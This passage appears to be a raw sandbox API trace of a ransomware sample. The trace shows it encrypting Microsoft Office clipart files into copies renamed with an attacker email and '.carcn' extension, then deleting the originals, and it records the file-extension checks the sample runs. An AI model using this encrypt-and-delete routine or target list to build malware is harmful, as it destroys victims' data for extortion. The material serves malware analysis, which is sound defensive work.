lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1652, lpOverlapped=0x0) returned 1 [0273.093] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1660, lpOverlapped=0x0) returned 1 [0273.094] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.094] WriteFile (in: hFile=0x528, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.094] SetEndOfFile (hFile=0x528) returned 1 [0273.094] CloseHandle (hObject=0x528) returned 1 [0273.097] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.097] SetEndOfFile (hFile=0x54c) returned 1 [0273.101] CloseHandle (hObject=0x54c) returned 1 [0273.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0273.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.107] lstrlenW (lpString=".doc") returned 4 [0273.107] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.107] lstrlenW (lpString=".docx") returned 5 [0273.107] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0273.107] lstrlenW (lpString=".pdf") returned 4 [0273.107] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.107] lstrlenW (lpString=".xls") returned 4 [0273.107] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.107] lstrlenW (lpString=".xlsx") returned 5 [0273.107] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0273.107] lstrlenW (lpString=".ppt") returned 4 [0273.107] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.107] lstrlenW (lpString=".zip") returned 4 [0273.107] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.107] lstrlenW (lpString=".rar") returned 4 [0273.107] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.107] lstrlenW (lpString=".bz2") returned 4 [0273.107] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.107] lstrlenW (lpString=".7z") returned 3 [0273.107] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.107] lstrlenW (lpString=".dbf") returned 4 [0273.107] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.107] lstrlenW (lpString=".1cd") returned 4 [0273.107] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.107] lstrlenW (lpString=".jpg") returned 4 [0273.107] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString=".doc") returned 4 [0273.108] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.108] lstrlenW (lpString=".docx") returned 5 [0273.108] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0273.108] lstrlenW (lpString=".pdf") returned 4 [0273.108] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.108] lstrlenW (lpString=".xls") returned 4 [0273.108] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.108] lstrlenW (lpString=".xlsx") returned 5 [0273.108] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0273.108] lstrlenW (lpString=".ppt") returned 4 [0273.108] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString=".zip") returned 4 [0273.108] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.108] lstrlenW (lpString=".rar") returned 4 [0273.108] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.108] lstrlenW (lpString=".bz2") returned 4 [0273.108] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.108] lstrlenW (lpString=".7z") returned 3 [0273.108] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString=".dbf") returned 4 [0273.108] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString=".1cd") returned 4 [0273.108] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0273.108] lstrlenW (lpString=".jpg") returned 4 [0273.108] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.109] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.109] lstrlenW (lpString="PARNT_06.MID") returned 12 [0273.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.110] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=7768) returned 1 [0273.110] CloseHandle (hObject=0x54c) returned 1 [0273.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0273.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.110] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.111] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.111] GetLastError () returned 0x0 [0273.111] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0273.209] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0273.210] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.210] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.210] SetEndOfFile (hFile=0x43c) returned 1 [0273.210] CloseHandle (hObject=0x43c) returned 1 [0273.211] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.211] SetEndOfFile (hFile=0x54c) returned 1 [0273.215] CloseHandle (hObject=0x54c) returned 1 [0273.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0273.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.217] lstrlenW (lpString=".doc") returned 4 [0273.217] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.217] lstrlenW (lpString=".docx") returned 5 [0273.217] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0273.217] lstrlenW (lpString=".pdf") returned 4 [0273.217] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.217] lstrlenW (lpString=".xls") returned 4 [0273.217] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.217] lstrlenW (lpString=".xlsx") returned 5 [0273.218] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0273.218] lstrlenW (lpString=".ppt") returned 4 [0273.218] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.218] lstrlenW (lpString=".zip") returned 4 [0273.218] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.218] lstrlenW (lpString=".rar") returned 4 [0273.218] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.218] lstrlenW (lpString=".bz2") returned 4 [0273.218] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.218] lstrlenW (lpString=".7z") returned 3 [0273.218] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.218] lstrlenW (lpString=".dbf") returned 4 [0273.218] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.218] lstrlenW (lpString=".1cd") returned 4 [0273.218] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.218] lstrlenW (lpString=".jpg") returned 4 [0273.218] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.219] lstrlenW (lpString=".doc") returned 4 [0273.219] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.219] lstrlenW (lpString=".docx") returned 5 [0273.219] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0273.219] lstrlenW (lpString=".pdf") returned 4 [0273.219] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.219] lstrlenW (lpString=".xls") returned 4 [0273.219] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.219] lstrlenW (lpString=".xlsx") returned 5 [0273.219] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0273.219] lstrlenW (lpString=".ppt") returned 4 [0273.219] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.219] lstrlenW (lpString=".zip") returned 4 [0273.219] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.219] lstrlenW (lpString=".rar") returned 4 [0273.219] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.219] lstrlenW (lpString=".bz2") returned 4 [0273.219] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.219] lstrlenW (lpString=".7z") returned 3 [0273.219] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.220] lstrlenW (lpString=".dbf") returned 4 [0273.220] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.220] lstrlenW (lpString=".1cd") returned 4 [0273.220] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0273.220] lstrlenW (lpString=".jpg") returned 4 [0273.220] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.220] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.220] lstrlenW (lpString="PARNT_09.MID") returned 12 [0273.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.221] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6764) returned 1 [0273.221] CloseHandle (hObject=0x54c) returned 1 [0273.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0273.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.224] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.224] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.225] GetLastError () returned 0x0 [0273.225] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0273.382] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0273.384] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.384] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.384] SetEndOfFile (hFile=0x43c) returned 1 [0273.384] CloseHandle (hObject=0x43c) returned 1 [0273.385] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.385] SetEndOfFile (hFile=0x54c) returned 1 [0273.388] CloseHandle (hObject=0x54c) returned 1 [0273.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0273.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.491] lstrlenW (lpString=".doc") returned 4 [0273.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.491] lstrlenW (lpString=".docx") returned 5 [0273.492] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0273.492] lstrlenW (lpString=".pdf") returned 4 [0273.492] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.492] lstrlenW (lpString=".xls") returned 4 [0273.492] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.492] lstrlenW (lpString=".xlsx") returned 5 [0273.492] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0273.492] lstrlenW (lpString=".ppt") returned 4 [0273.492] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.492] lstrlenW (lpString=".zip") returned 4 [0273.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.492] lstrlenW (lpString=".rar") returned 4 [0273.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.492] lstrlenW (lpString=".bz2") returned 4 [0273.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.492] lstrlenW (lpString=".7z") returned 3 [0273.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.492] lstrlenW (lpString=".dbf") returned 4 [0273.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.492] lstrlenW (lpString=".1cd") returned 4 [0273.493] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.493] lstrlenW (lpString=".jpg") returned 4 [0273.493] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.493] lstrlenW (lpString=".doc") returned 4 [0273.493] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.493] lstrlenW (lpString=".docx") returned 5 [0273.493] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0273.493] lstrlenW (lpString=".pdf") returned 4 [0273.493] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.493] lstrlenW (lpString=".xls") returned 4 [0273.493] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.493] lstrlenW (lpString=".xlsx") returned 5 [0273.493] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0273.493] lstrlenW (lpString=".ppt") returned 4 [0273.493] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.493] lstrlenW (lpString=".zip") returned 4 [0273.494] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.494] lstrlenW (lpString=".rar") returned 4 [0273.494] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.494] lstrlenW (lpString=".bz2") returned 4 [0273.494] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.494] lstrlenW (lpString=".7z") returned 3 [0273.494] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.494] lstrlenW (lpString=".dbf") returned 4 [0273.494] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.494] lstrlenW (lpString=".1cd") returned 4 [0273.494] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0273.494] lstrlenW (lpString=".jpg") returned 4 [0273.494] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.494] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.495] lstrlenW (lpString="SHOW_01.MID") returned 11 [0273.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.496] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6392) returned 1 [0273.496] CloseHandle (hObject=0x43c) returned 1 [0273.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0273.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0273.497] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.497] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0273.498] GetLastError () returned 0x0 [0273.498] ReadFile (in: hFile=0x43c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0273.632] WriteFile (in: hFile=0x544, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1900, lpOverlapped=0x0) returned 1 [0273.633] ReadFile (in: hFile=0x43c, 